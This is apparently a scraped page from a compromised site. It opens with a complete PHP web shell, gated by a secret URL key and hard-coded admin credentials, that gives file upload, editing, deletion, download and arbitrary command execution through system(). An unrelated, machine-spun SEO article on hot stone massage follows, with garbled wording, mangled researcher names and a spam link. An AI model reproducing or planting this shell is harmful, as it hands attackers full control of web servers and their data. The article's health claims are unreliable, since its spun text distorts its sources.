if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '
'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } What Are the Perks of a Hot Rock Massage? – collectives.berlin

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What Are the Perks of a Hot Rock Massage?

Study reveals that the advantages of a hot stone massage therapy consist of enhanced flow, sleep, immunity and tension relief. A hot rock massage therapy entails making use of warmed volcanic rocks to warm details body parts in the massage therapy. Most individuals can safely obtain a warm rock massage, yet particular health problems can make these massages much less sensible.

What is a hot rock massage therapy?

A hot stone massage uses warmed rocks on particular parts of the body. Warm stone massages normally make use of lava or various other volcanic rocks that retain heat efficiently. They are warmed up to 40-45 levels celsius. The warm stones can be put on various parts of the body, including the back, belly, feet or chest (depending on which locations the client intends to be dealt with). The advantages of a hot rock massage therapy originated from just how the warm stones communicate with a body component’s muscular tissues.

What does a hot stone massage resemble?

A hot stone massage starts by warming up the volcanic rocks.follow the link https://best-massage-valencia.com/hot-stone-massage/ At our site The rocks are after that put upon various parts of the body. This heats up the muscles in preparation for the massage. The masseuse applies massage oil on the back and arms and conducts the massage by gliding the hot stones along the body. Much more stress is used relying on the desired depth of cells penetration for the massage therapy. Warm rock massage therapies make use of Swedish massage methods such as rub, rolling, tapping and round motions however with the addition of hot stones.

Warm rock massage benefits

Warm rock massages have demonstrated a range of wellness advantages. They are frequently utilized as a non-pharmaceutical method to resolve health issues.

Stress and anxiety alleviation

Hot rock massages work at reducing people’s stress and anxiety degrees. According to S.H. Cady’s 1997 study, massages can decrease blood pressure and cortisol degrees in our bodies. Hypertension places even more strain on the heart, enhancing the danger of heart problems. Cortisol is a stress and anxiety hormone with lots of harmful top qualities, such as inflammation and decreased immune function. Reducing cortisol assists with injury healing and total wellness.

Flow

Hot stone massages boost blood circulation. Paweล‚ Radziejowski’s 2018 research checked out exactly how the warmth from the hot rocks helps to increase the blood vessels. This leads to enhanced blood flow to the muscles, much better delivery of nutrients and extra effective removal of contaminants.

Sleep

Hot stone massages have shown themselves to be valuable for sleep. Ghavami, Shamsi, Abdollahpoor and Radfar’s 2019 research compared a control team with a group obtaining warm stone massage therapy. The hot stone massage group showed less sleep disturbances, enhanced rest quality and greater rest comfort.

Immunity

Warm rock massage therapies have actually been related to enhancing body immune systems. Mark Hyman Rapaport’s 2010 study revealed that warm stone massages can enhance lymphocytes, which are leukocyte that shield the body from illness.

Fat decrease

Warm stone massage can bring about fat decrease. Restriction, Kim and Kim’s 2013 study contrasted a control team to a team having biweekly warm stone massage therapies for 5 weeks. The participants getting warm stone massage therapies experienced weight decrease and reduced fat in their stomach locations.

Discomfort alleviation

Hot stone massage therapies are good at supplying relief for bone and joint discomfort and stress. The Mayo Center’s report on massage therapies talks about just how warm stone massage therapies relieve discomfort and boost flexibility. These advantages are valuable for those suffering from wellness problems such as joint inflammation and fibromyalgia. Tiffany Area’s 2013 study showed just how participants with arthritis felt less pain and got even more mobility and hold strength as a result of their massage therapy therapies. Li, Wang, Feng, Yang, and Sunlight’s 2014 research study showed how warm rock massage therapy happy pain in patients of fibromyalgia, ultimately bring about lowered stress and anxiety and anxiety.

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